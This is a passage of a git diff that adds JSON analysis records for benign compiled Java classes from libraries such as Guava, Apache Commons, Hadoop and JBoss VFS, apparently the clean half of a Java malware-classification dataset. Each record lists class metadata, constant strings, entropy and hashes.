a/java_classification/data/clean/a4e8d32eebdbaf2d7d108efcaf5b0d58a9bb19cab883e597dc02a80a0e2cfa28.results b/java_classification/data/clean/a4e8d32eebdbaf2d7d108efcaf5b0d58a9bb19cab883e597dc02a80a0e2cfa28.results new file mode 100755 index 0000000..ec46adc --- /dev/null +++ b/java_classification/data/clean/a4e8d32eebdbaf2d7d108efcaf5b0d58a9bb19cab883e597dc02a80a0e2cfa28.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Splitter.java", "class_name": "com/google/common/base/Splitter$1$1", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "separatorStart", "separatorEnd"], "minor_version": 0, "const_pool_count": 55}}, "_id": "2caaf0a5-b964-4817-98f0-331116b72674", "metadata": {"mimetype": "application/x-java-applet", "sha1": "7c61725952cd2e2556a1c69999d6a4fed39f6ff5", "file_name": "java_clean/a4e8d32eebdbaf2d7d108efcaf5b0d58a9bb19cab883e597dc02a80a0e2cfa28", "_id": "2caaf0a5-b964-4817-98f0-331116b72674", "score": 0, "entropy": 5.133259558884413, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1365, "ssdeep": "24:uv4lSN7zihIxuljiAWxw8D79YP67+OST7RPlbXonR:uvUtl8w3OwRd0R", "sha256": "a4e8d32eebdbaf2d7d108efcaf5b0d58a9bb19cab883e597dc02a80a0e2cfa28", "md5": "e3788051af1b498527e0f22854563a73", "parent_sha256": "a4e8d32eebdbaf2d7d108efcaf5b0d58a9bb19cab883e597dc02a80a0e2cfa28"}} \ No newline at end of file diff --git a/java_classification/data/clean/a51afffa0c7ba1423560308a5811599d1aca2c3f0fecf37a7b60f6e2030648c0.results b/java_classification/data/clean/a51afffa0c7ba1423560308a5811599d1aca2c3f0fecf37a7b60f6e2030648c0.results new file mode 100755 index 0000000..775e540 --- /dev/null +++ b/java_classification/data/clean/a51afffa0c7ba1423560308a5811599d1aca2c3f0fecf37a7b60f6e2030648c0.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "org/jdesktop/jdic/browser/WebBrowser$MyFocusListener", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/awt/event/FocusListener"], "major_version": 48, "method_names": ["", "focusGained", "focusLost"], "minor_version": 0, "const_pool_count": 49}}, "_id": "eeb36499-5150-4940-89f5-3ee365bc99d5", "verbose": {"java": {"constant strings": ["\\nMyFocusListener: focusGained\\n", "\\nMyFocusListener: focusLost\\n"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "63b8b1a3869f0d72c5581e6d70abdd12e7b16616", "file_name": "java_clean/a51afffa0c7ba1423560308a5811599d1aca2c3f0fecf37a7b60f6e2030648c0", "_id": "eeb36499-5150-4940-89f5-3ee365bc99d5", "score": 0, "entropy": 5.376006695076237, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 974, "ssdeep": "12:evnCMDuf72i0fvd6EbMDdEX9phaIBfnqALBRhemHfOabdNwM6bfEqrkrfOK1dSfV:wX4Gd6EwD49phDsEJdNTSkrYve0Gmt19", "sha256": "a51afffa0c7ba1423560308a5811599d1aca2c3f0fecf37a7b60f6e2030648c0", "md5": "6cfee98bfdf7dd5792a36929874d92b6", "parent_sha256": "a51afffa0c7ba1423560308a5811599d1aca2c3f0fecf37a7b60f6e2030648c0"}} \ No newline at end of file diff --git a/java_classification/data/clean/a59036a3436119cf92dde1f13b60803ea5bb7357154a87370c4f8c62f70dfade.results b/java_classification/data/clean/a59036a3436119cf92dde1f13b60803ea5bb7357154a87370c4f8c62f70dfade.results new file mode 100755 index 0000000..9a5b364 --- /dev/null +++ b/java_classification/data/clean/a59036a3436119cf92dde1f13b60803ea5bb7357154a87370c4f8c62f70dfade.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/collect/ImmutableSortedMap$1", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "interfaces": ["java/util/Comparator"], "sourcefile": "ImmutableSortedMap.java", "method_names": ["", "compare", "compare"], "minor_version": 0, "const_pool_count": 58}}, "_id": "69c9b65e-819b-4eff-811f-ec850112c150", "verbose": {"java": {"signatures": ["(Ljava/util/Map$Entry;Ljava/util/Map$Entry;)I", "Ljava/lang/Object;Ljava/util/Comparator;>;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "35bf257f4a3854d06cf914eafc92b6aa47a43d8f", "file_name": "java_clean/a59036a3436119cf92dde1f13b60803ea5bb7357154a87370c4f8c62f70dfade", "_id": "69c9b65e-819b-4eff-811f-ec850112c150", "score": 0, "entropy": 5.2970997303461695, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1364, "ssdeep": "24:3T6K7uljEcqxGx3k8ux5h82x9xfxDEIFxyiRx+ZQdSDX6vmQiM2BMV:3+/lDcEEtSOb2+", "sha256": "a59036a3436119cf92dde1f13b60803ea5bb7357154a87370c4f8c62f70dfade", "md5": "dbcc40d21e6b8e1b6dd65a84f7987527", "parent_sha256": "a59036a3436119cf92dde1f13b60803ea5bb7357154a87370c4f8c62f70dfade"}} \ No newline at end of file diff --git a/java_classification/data/clean/a5c810ef502fa946bc1d50a3859770c5f5443d581e2f781dc7095578374191eb.results b/java_classification/data/clean/a5c810ef502fa946bc1d50a3859770c5f5443d581e2f781dc7095578374191eb.results new file mode 100755 index 0000000..96c89aa --- /dev/null +++ b/java_classification/data/clean/a5c810ef502fa946bc1d50a3859770c5f5443d581e2f781dc7095578374191eb.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ArrayTable.java", "class_name": "com/google/common/collect/ArrayTable$RowEntrySet$1", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "get", "get"], "minor_version": 0, "const_pool_count": 55}}, "_id": "37c3409c-b6be-4b7a-9bb6-797569d557cc", "verbose": {"java": {"signatures": ["(I)Ljava/util/Map$Entry;", "Lcom/google/common/collect/AbstractIndexedListIterator;>;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c39e98e9b9916346bee219ae318e12ee2c6dbef7", "file_name": "java_clean/a5c810ef502fa946bc1d50a3859770c5f5443d581e2f781dc7095578374191eb", "_id": "37c3409c-b6be-4b7a-9bb6-797569d557cc", "score": 0, "entropy": 5.236508132885402, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1466, "ssdeep": "24:OYl5+nuljipOV6SxJLxzex0OZwxp08iaJX3q3Q8caMQ:OYb+ul+4Ompq3QeMQ", "sha256": "a5c810ef502fa946bc1d50a3859770c5f5443d581e2f781dc7095578374191eb", "md5": "7d75aabf8b63cff5b6d585fe2fd076ef", "parent_sha256": "a5c810ef502fa946bc1d50a3859770c5f5443d581e2f781dc7095578374191eb"}} \ No newline at end of file diff --git a/java_classification/data/clean/a5d845e6f5a61c56613fa3b4eb35861c65e7ec58710a6ad1e12ae9c865dae892.results b/java_classification/data/clean/a5d845e6f5a61c56613fa3b4eb35861c65e7ec58710a6ad1e12ae9c865dae892.results new file mode 100755 index 0000000..6f8044f --- /dev/null +++ b/java_classification/data/clean/a5d845e6f5a61c56613fa3b4eb35861c65e7ec58710a6ad1e12ae9c865dae892.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 45, "class_name": "org/apache/commons/collections/iterators/FilterListIterator", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/util/ListIterator"], "sourcefile": "FilterListIterator.java", "method_names": ["", "", "", "", "add", "hasNext", "hasPrevious", "next", "nextIndex", "previous", "previousIndex", "remove", "set", "getListIterator", "setListIterator", "getPredicate", "setPredicate", "clearNextObject", "setNextObject", "clearPreviousObject", "setPreviousObject"], "minor_version": 3, "const_pool_count": 108}}, "_id": "7bdd7d7a-5375-4cc6-b573-16937b5ca5be", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.204708419440624}, "constant strings": ["FilterListIterator.add(Object) is not supported.", "FilterListIterator.remove() is not supported.", "FilterListIterator.set(Object) is not supported."]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "dc2255db209fafb72313fc0ffd56bcee50a966cc", "file_name": "java_clean/a5d845e6f5a61c56613fa3b4eb35861c65e7ec58710a6ad1e12ae9c865dae892", "_id": "7bdd7d7a-5375-4cc6-b573-16937b5ca5be", "score": 0, "entropy": 5.006291683099084, "libmagic": "compiled Java class data, version 45.3", "file_size": 3640, "ssdeep": "48:g39yXNyFl0CpUBGtvPJa7QZwIIlfbgJaKbhrOivmP3c7bwcrGrXuGJnA:g44Fl0ol0FvDMaCVO/30bwcr6XuGJnA", "sha256": "a5d845e6f5a61c56613fa3b4eb35861c65e7ec58710a6ad1e12ae9c865dae892", "md5": "ff1f18a4018ebd205bc1650ead4c6f73", "parent_sha256": "a5d845e6f5a61c56613fa3b4eb35861c65e7ec58710a6ad1e12ae9c865dae892"}} \ No newline at end of file diff --git a/java_classification/data/clean/a61752d3e582ca4555bb1ec41ca447259293d174d10bab8cbe64b8ccdf789f23.results b/java_classification/data/clean/a61752d3e582ca4555bb1ec41ca447259293d174d10bab8cbe64b8ccdf789f23.results new file mode 100755 index 0000000..e50a307 --- /dev/null +++ b/java_classification/data/clean/a61752d3e582ca4555bb1ec41ca447259293d174d10bab8cbe64b8ccdf789f23.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "DiplomaticRelation.java", "class_name": "hu/openig/model/DiplomaticRelation", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "copy", "wontTalk", "wontTalk"], "minor_version": 0, "const_pool_count": 64}}, "_id": "d8bef933-bfda-4adc-b6ab-a38749aa10d3", "verbose": {"java": {"signatures": ["Ljava/util/Set;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "7c954c8381dc33e474fc45474d821fa53884b821", "file_name": "java_clean/a61752d3e582ca4555bb1ec41ca447259293d174d10bab8cbe64b8ccdf789f23", "_id": "d8bef933-bfda-4adc-b6ab-a38749aa10d3", "score": 0, "entropy": 5.10048949624312, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1228, "ssdeep": "24:ZfT4KXUBMNIjXysFKfuAljEgWMOhe2dvt2Hs1I9crjT2aYpn:lT49GoysFUlgt2zcXT2asn", "sha256": "a61752d3e582ca4555bb1ec41ca447259293d174d10bab8cbe64b8ccdf789f23", "md5": "bbb4a7a2576cab8bc5afb891f1f1ccc4", "parent_sha256": "a61752d3e582ca4555bb1ec41ca447259293d174d10bab8cbe64b8ccdf789f23"}} \ No newline at end of file diff --git a/java_classification/data/clean/a683fb9ac2b338727055db1fc065bbc2194f16f900e4b6633287c1ffd2a870d6.results b/java_classification/data/clean/a683fb9ac2b338727055db1fc065bbc2194f16f900e4b6633287c1ffd2a870d6.results new file mode 100755 index 0000000..ff3491f --- /dev/null +++ b/java_classification/data/clean/a683fb9ac2b338727055db1fc065bbc2194f16f900e4b6633287c1ffd2a870d6.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "DOMReader.java", "class_name": "org/dom4j/io/DOMReader", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 47, "method_names": ["", "", "getDocumentFactory", "setDocumentFactory", "read", "readTree", "readElement", "getNamespace", "createDocument", "clearNamespaceStack", "getPrefix"], "minor_version": 0, "const_pool_count": 307}}, "_id": "8ead8143-6b38-4a63-b41e-035b65b56801", "verbose": {"java": {"constant strings": ["", "WARNING: Unknown DOM node type: ", "xmlns"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "eecd09ea9960920d20e65782ec6b89fd02e7ead4", "file_name": "java_clean/a683fb9ac2b338727055db1fc065bbc2194f16f900e4b6633287c1ffd2a870d6", "_id": "8ead8143-6b38-4a63-b41e-035b65b56801", "score": 0, "entropy": 5.7592571187707655, "libmagic": "compiled Java class data, version 47.0 (Java 1.3)", "file_size": 6330, "ssdeep": "96:u4FlS8F5So8StY3e4UAPth3jGUmDSk80+ppezFChWOP1eF/2zA+5nsVl:uqlS8gb3zPjGLOkCpaEh5eFC5ql", "sha256": "a683fb9ac2b338727055db1fc065bbc2194f16f900e4b6633287c1ffd2a870d6", "md5": "a69534c85ae4301d7a29488330a41b1f", "parent_sha256": "a683fb9ac2b338727055db1fc065bbc2194f16f900e4b6633287c1ffd2a870d6"}} \ No newline at end of file diff --git a/java_classification/data/clean/a72755e90823310ff7e0e599472d30fc17bd8e7f0b71eb0aeceb1ba8efc3200b.results b/java_classification/data/clean/a72755e90823310ff7e0e599472d30fc17bd8e7f0b71eb0aeceb1ba8efc3200b.results new file mode 100755 index 0000000..16d4902 --- /dev/null +++ b/java_classification/data/clean/a72755e90823310ff7e0e599472d30fc17bd8e7f0b71eb0aeceb1ba8efc3200b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Equivalences.java", "class_name": "com/google/common/base/Equivalences$Impl$1", "access_permissions": ["ACC_FINAL", "ACC_SUPER", "ACC_ENUM"], "major_version": 49, "method_names": ["", "equivalent", "hash"], "minor_version": 0, "const_pool_count": 45}}, "_id": "27db8e67-daa9-4da2-bf3c-a4376f52b0c6", "metadata": {"mimetype": "application/x-java-applet", "sha1": "39cd62e759e318133f1ec8ef53782a090cb87543", "file_name": "java_clean/a72755e90823310ff7e0e599472d30fc17bd8e7f0b71eb0aeceb1ba8efc3200b", "_id": "27db8e67-daa9-4da2-bf3c-a4376f52b0c6", "score": 0, "entropy": 5.148136427566432, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1087, "ssdeep": "24:bAGGnuljw4uOp59sqQ/qWn7N6LkufUOsi93:U1ulU4uU59sqQ/qWngLklOb", "sha256": "a72755e90823310ff7e0e599472d30fc17bd8e7f0b71eb0aeceb1ba8efc3200b", "md5": "ea22fbb6a75e0df9e147203cd1f5285a", "parent_sha256": "a72755e90823310ff7e0e599472d30fc17bd8e7f0b71eb0aeceb1ba8efc3200b"}} \ No newline at end of file diff --git a/java_classification/data/clean/a747dadcce8b1e6dae91b8bfb9550eb78de16f3f881000676f245a8c8034d772.results b/java_classification/data/clean/a747dadcce8b1e6dae91b8bfb9550eb78de16f3f881000676f245a8c8034d772.results new file mode 100755 index 0000000..c70b105 --- /dev/null +++ b/java_classification/data/clean/a747dadcce8b1e6dae91b8bfb9550eb78de16f3f881000676f245a8c8034d772.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "RequestDispatcher.java", "class_name": "javax/servlet/RequestDispatcher", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "major_version": 45, "method_names": ["forward", "include"], "minor_version": 3, "const_pool_count": 24}}, "_id": "c6718a06-28ff-4ba1-9f34-2e4505047b6e", "metadata": {"mimetype": "application/x-java-applet", "sha1": "0202120c74c302fb807e03a4f72c976732a8eb54", "file_name": "java_clean/a747dadcce8b1e6dae91b8bfb9550eb78de16f3f881000676f245a8c8034d772", "_id": "c6718a06-28ff-4ba1-9f34-2e4505047b6e", "score": 0, "entropy": 5.005514545151428, "libmagic": "compiled Java class data, version 45.3", "file_size": 507, "ssdeep": "12:cnzRmorllBG0mOG2oT3xLedI3RJELtIAoyt2DytS:cnllBGHpDxt4LtyyEDytS", "sha256": "a747dadcce8b1e6dae91b8bfb9550eb78de16f3f881000676f245a8c8034d772", "md5": "f3d1f09f1a88b290cb0602201be0b1b1", "parent_sha256": "a747dadcce8b1e6dae91b8bfb9550eb78de16f3f881000676f245a8c8034d772"}} \ No newline at end of file diff --git a/java_classification/data/clean/a778d869b1748f339c43a39e644d3654aa607ac31798f56b1d4d2adadb1d7f32.results b/java_classification/data/clean/a778d869b1748f339c43a39e644d3654aa607ac31798f56b1d4d2adadb1d7f32.results new file mode 100755 index 0000000..96c1b6b --- /dev/null +++ b/java_classification/data/clean/a778d869b1748f339c43a39e644d3654aa607ac31798f56b1d4d2adadb1d7f32.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/screen/items/AchievementsScreen$21", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Func1"], "sourcefile": "AchievementsScreen.java", "method_names": ["", "invoke", "invoke"], "minor_version": 0, "const_pool_count": 66}}, "_id": "b99644fb-435b-4c87-a3ee-48a05e440938", "verbose": {"java": {"signatures": ["Ljava/lang/Object;Lhu/openig/core/Func1;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "85a492f8295acd8dbf8ae5d3866463ab319b4eda", "file_name": "java_clean/a778d869b1748f339c43a39e644d3654aa607ac31798f56b1d4d2adadb1d7f32", "_id": "b99644fb-435b-4c87-a3ee-48a05e440938", "score": 0, "entropy": 5.302759120575057, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1370, "ssdeep": "24:aHIBoPf+IRaBooGNBoQ6ljSZBojYMBoWfM1C7vR+iB5Y9aEBs:s2wP6lBZp3XD", "sha256": "a778d869b1748f339c43a39e644d3654aa607ac31798f56b1d4d2adadb1d7f32", "md5": "6f8e24ff388040475e0d9018aaaef4e8", "parent_sha256": "a778d869b1748f339c43a39e644d3654aa607ac31798f56b1d4d2adadb1d7f32"}} \ No newline at end of file diff --git a/java_classification/data/clean/a7be055eeae8ef62167590747f057896b23dfe5bdf5697571312e739342d7c66.results b/java_classification/data/clean/a7be055eeae8ef62167590747f057896b23dfe5bdf5697571312e739342d7c66.results new file mode 100755 index 0000000..b9cb12e --- /dev/null +++ b/java_classification/data/clean/a7be055eeae8ef62167590747f057896b23dfe5bdf5697571312e739342d7c66.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "TransformedList.java", "class_name": "org/apache/commons/collections/list/TransformedList$TransformedListIterator", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "add", "set"], "minor_version": 3, "const_pool_count": 48}}, "_id": "9ee8e78f-9172-4857-8d4a-7779c5aa5470", "metadata": {"mimetype": "application/x-java-applet", "sha1": "abe58b663ee1932e0a35a8dae694e62533689a21", "file_name": "java_clean/a7be055eeae8ef62167590747f057896b23dfe5bdf5697571312e739342d7c66", "_id": "9ee8e78f-9172-4857-8d4a-7779c5aa5470", "score": 0, "entropy": 5.175786987652903, "libmagic": "compiled Java class data, version 45.3", "file_size": 1290, "ssdeep": "24:cKoYfw8uljYRZ6Zjwt60j6Z3xWwwVw118AX/s+aHa/j8:eY8lFlTXElI8", "sha256": "a7be055eeae8ef62167590747f057896b23dfe5bdf5697571312e739342d7c66", "md5": "72253f37b150cec3a6127ff81adeb4e3", "parent_sha256": "a7be055eeae8ef62167590747f057896b23dfe5bdf5697571312e739342d7c66"}} \ No newline at end of file diff --git a/java_classification/data/clean/a81f18d84a697207796f052827322696a1072af3ca76f3f1d9aecd825c9bb935.results b/java_classification/data/clean/a81f18d84a697207796f052827322696a1072af3ca76f3f1d9aecd825c9bb935.results new file mode 100755 index 0000000..6cd0dd8 --- /dev/null +++ b/java_classification/data/clean/a81f18d84a697207796f052827322696a1072af3ca76f3f1d9aecd825c9bb935.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/collect/Multisets$ElementSetImpl$1", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/util/Iterator"], "sourcefile": "Multisets.java", "method_names": ["", "hasNext", "next", "remove"], "minor_version": 0, "const_pool_count": 62}}, "_id": "29406bf5-a900-450c-85ef-e1897c28ac9a", "verbose": {"java": {"signatures": ["()TE;", "Ljava/lang/Object;Ljava/util/Iterator;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f9375d3baefb65a3b7bfcd8bc66da29902901709", "file_name": "java_clean/a81f18d84a697207796f052827322696a1072af3ca76f3f1d9aecd825c9bb935", "_id": "29406bf5-a900-450c-85ef-e1897c28ac9a", "score": 0, "entropy": 5.096197384086328, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1476, "ssdeep": "24:bq0O852vXf2WCf2m88uljuf2jfIf2k8yqr1x0If2/58Bjf2J08inaoRIiiculwMy:aWWTZljRk7/l/o++", "sha256": "a81f18d84a697207796f052827322696a1072af3ca76f3f1d9aecd825c9bb935", "md5": "74716f7efabb9d5b661cf664327013af", "parent_sha256": "a81f18d84a697207796f052827322696a1072af3ca76f3f1d9aecd825c9bb935"}} \ No newline at end of file diff --git a/java_classification/data/clean/a82dc664428439ee378d0f204630602ff2ec129cab2d10f7450be7c290b03341.results b/java_classification/data/clean/a82dc664428439ee378d0f204630602ff2ec129cab2d10f7450be7c290b03341.results new file mode 100755 index 0000000..15d5a70 --- /dev/null +++ b/java_classification/data/clean/a82dc664428439ee378d0f204630602ff2ec129cab2d10f7450be7c290b03341.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Add.java", "class_name": "org/apache/pig/backend/hadoop/executionengine/physicalLayer/expressionOperators/Add", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "", "visit", "name", "getNext", "getNext", "getNext", "getNext", "clone", "clone", "clone", "clone", "visit"], "minor_version": 0, "const_pool_count": 195}}, "_id": "cbc64c63-996c-4082-b92f-8191d238d30d", "verbose": {"java": {"constant strings": ["Add[", "]", " - "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "173f533b7285309608991d956847f167a205edc2", "file_name": "java_clean/a82dc664428439ee378d0f204630602ff2ec129cab2d10f7450be7c290b03341", "_id": "cbc64c63-996c-4082-b92f-8191d238d30d", "score": 0, "entropy": 5.445825489192513, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 5442, "ssdeep": "96:yxPbA0lCn5ikH/HsGr+ALRS9ufA4bQ88D6zRNFWRF/sd+04/ph+1aA4QVz:iVlolphh4Az", "sha256": "a82dc664428439ee378d0f204630602ff2ec129cab2d10f7450be7c290b03341", "md5": "6c1354afd2f8a8b147ca05182787a2fc", "parent_sha256": "a82dc664428439ee378d0f204630602ff2ec129cab2d10f7450be7c290b03341"}} \ No newline at end of file diff --git a/java_classification/data/clean/a8a8315b6761f3c74a301a58cc4103431946a8c955c3e862cfdfd561e19e9333.results b/java_classification/data/clean/a8a8315b6761f3c74a301a58cc4103431946a8c955c3e862cfdfd561e19e9333.results new file mode 100755 index 0000000..84a76f6 --- /dev/null +++ b/java_classification/data/clean/a8a8315b6761f3c74a301a58cc4103431946a8c955c3e862cfdfd561e19e9333.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ExecutableManager.java", "class_name": "org/apache/pig/impl/streaming/ExecutableManager$ProcessInputThread", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "run"], "minor_version": 0, "const_pool_count": 180}}, "_id": "b667d606-1066-4508-8a71-47fb9f78b9f8", "verbose": {"java": {"signatures": ["Ljava/util/concurrent/BlockingQueue;"], "constant strings": ["Output/Error thread failed with: ", "Exception while trying to write to stream binary\\'s input"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c21635105e1d5c8d7372d9ba6033165613e02a75", "file_name": "java_clean/a8a8315b6761f3c74a301a58cc4103431946a8c955c3e862cfdfd561e19e9333", "_id": "b667d606-1066-4508-8a71-47fb9f78b9f8", "score": 0, "entropy": 5.667109234875744, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4008, "ssdeep": "96:uZDQmaWO3BkBdSuScleB+r6ARUlahB++B39LoQs5BN2qBv3BTlq1h2vK/:uFK0/lu2bS9v3BTlch2vi", "sha256": "a8a8315b6761f3c74a301a58cc4103431946a8c955c3e862cfdfd561e19e9333", "md5": "9e9a26c3ad789eb3361d8808be55a181", "parent_sha256": "a8a8315b6761f3c74a301a58cc4103431946a8c955c3e862cfdfd561e19e9333"}} \ No newline at end of file diff --git a/java_classification/data/clean/a8ca3bcdb01b5d67ba8f3525a185ed15e0affd12666770ecf38a03efbbd2b81d.results b/java_classification/data/clean/a8ca3bcdb01b5d67ba8f3525a185ed15e0affd12666770ecf38a03efbbd2b81d.results new file mode 100755 index 0000000..8c0f2e3 --- /dev/null +++ b/java_classification/data/clean/a8ca3bcdb01b5d67ba8f3525a185ed15e0affd12666770ecf38a03efbbd2b81d.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ReduceTaskRunner.java", "class_name": "org/apache/hadoop/mapred/ReduceTaskRunner", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "prepare", "close"], "minor_version": 0, "const_pool_count": 90}}, "_id": "7c636220-5275-49fe-94fe-7d95f12ea0d4", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"signatures": {"file": "rot0"}}}, "constant strings": [" done; removing files.", "closed"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "4e6a69058c26fc4214c6e27bcdd7bfbd5af5a266", "file_name": "java_clean/a8ca3bcdb01b5d67ba8f3525a185ed15e0affd12666770ecf38a03efbbd2b81d", "_id": "7c636220-5275-49fe-94fe-7d95f12ea0d4", "score": 0, "entropy": 5.357040951990125, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1804, "ssdeep": "48:i57DESDlgf2XW3nkSu4qbrqBE4gsqVGyK5:cDESDlgf2XW3nkSu4qbrqBE4gdVs5", "sha256": "a8ca3bcdb01b5d67ba8f3525a185ed15e0affd12666770ecf38a03efbbd2b81d", "md5": "e2ba447307e0a1efdfa31bdde0a06e78", "parent_sha256": "a8ca3bcdb01b5d67ba8f3525a185ed15e0affd12666770ecf38a03efbbd2b81d"}} \ No newline at end of file diff --git a/java_classification/data/clean/a8e9648c46546a39cb48bcb3829400651277e39b15441c37ba1ce259b53e4ad2.results b/java_classification/data/clean/a8e9648c46546a39cb48bcb3829400651277e39b15441c37ba1ce259b53e4ad2.results new file mode 100755 index 0000000..244200c --- /dev/null +++ b/java_classification/data/clean/a8e9648c46546a39cb48bcb3829400651277e39b15441c37ba1ce259b53e4ad2.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "IllegalStateException.java", "class_name": "javax/jms/IllegalStateException", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", ""], "minor_version": 3, "const_pool_count": 22}}, "_id": "693d2632-ec90-499a-aee6-a9e80139252f", "metadata": {"mimetype": "application/x-java-applet", "sha1": "8e60c0c9e61d69a5899fe89ccb648ff985e2acf6", "file_name": "java_clean/a8e9648c46546a39cb48bcb3829400651277e39b15441c37ba1ce259b53e4ad2", "_id": "693d2632-ec90-499a-aee6-a9e80139252f", "score": 0, "entropy": 4.931933957183634, "libmagic": "compiled Java class data, version 45.3", "file_size": 528, "ssdeep": "12:c9sXMRMaMJy1DhlPC/MOPkx2oc7ZrkJwSlh90vkNLM:cMy1llqj6pc7xcBh90M4", "sha256": "a8e9648c46546a39cb48bcb3829400651277e39b15441c37ba1ce259b53e4ad2", "md5": "b350513a910e3545737bd36ae6818ab1", "parent_sha256": "a8e9648c46546a39cb48bcb3829400651277e39b15441c37ba1ce259b53e4ad2"}} \ No newline at end of file diff --git a/java_classification/data/clean/a90c7d51004f0a51a1c777854d9b694e9634fa811cef15b7fec7dbde2b1d3fb2.results b/java_classification/data/clean/a90c7d51004f0a51a1c777854d9b694e9634fa811cef15b7fec7dbde2b1d3fb2.results new file mode 100755 index 0000000..6e5059d --- /dev/null +++ b/java_classification/data/clean/a90c7d51004f0a51a1c777854d9b694e9634fa811cef15b7fec7dbde2b1d3fb2.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "VFSUtils.java", "class_name": "org/jboss/vfs/VFSUtils", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "getPathsString", "addManifestLocations", "getManifest", "readManifest", "fixName", "decode", "decode", "getName", "parseURLQuery", "toURI", "sanitizeURL", "copyChildrenRecursive", "copyStreamAndClose", "copyStreamAndClose", "copyStream", "copyStream", "writeFile", "writeFile", "getVirtualURL", "getVirtualURI", "getPhysicalURL", "getPhysicalURI", "safeClose", "safeClose", "safeClose", "safeClose", "recursiveDelete", "recursiveDelete", "recursiveCopy", "recursiveCopy", "recursiveCopy", "recursiveCopy", "emptyStream", "unzip", "getMountSource", "getGlobPattern", ""], "minor_version": 0, "const_pool_count": 723}}, "_id": "dd6f8de8-bdb2-45ca-8da5-36172ca2639c", "verbose": {"java": {"signatures": ["(Ljava/util/Collection;)Ljava/lang/String;", "(Lorg/jboss/vfs/VirtualFile;Ljava/util/List;)V", "(Ljava/lang/String;)Ljava/util/Map;", "(Ljava/lang/Iterable<+Ljava/io/Closeable;>;)V"], "constant strings": ["Null paths", "Null path in ", "", "Null file", "Manifest has no Class-Path for ", " has no parent.", "Parsing Class-Path: ", " for ", " parent=", " from manifiest is already in the classpath ", "Unable to find ", " from ", "Manifest Class-Path entry ", " ignored for ", " reason=", "Null archive", "META-INF/MANIFEST.MF", "Can\\'t find manifest for ", "Null manifest file", "Null name", "UTF-8", "Cannot decode: ", " [", "]", "Null uri", "=&", "Null url", "%", "%25", " ", "%20", "Original VirtualFile must not be null", "Target VirtualFile must not be null", "Problems creating new directory: ", "input stream is null", "output stream is null", "vfs", "", "Failed to close resource", "^", ".*", "[^/]*", "[^/]", "/+", "$", "(\\\\*\\\\*?)|(\\\\?)|(\\\\\\\\.)|(/+)|([^*?]+)"], "JAVA String Analysis": {"combined strings entropy": 4.939542187723025, "obfuscated_data": {"signatures": {"file": "rot0"}}}}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "3873346a1d4d7a31b5a0c312557120c8b0d64301", "file_name": "java_clean/a90c7d51004f0a51a1c777854d9b694e9634fa811cef15b7fec7dbde2b1d3fb2", "_id": 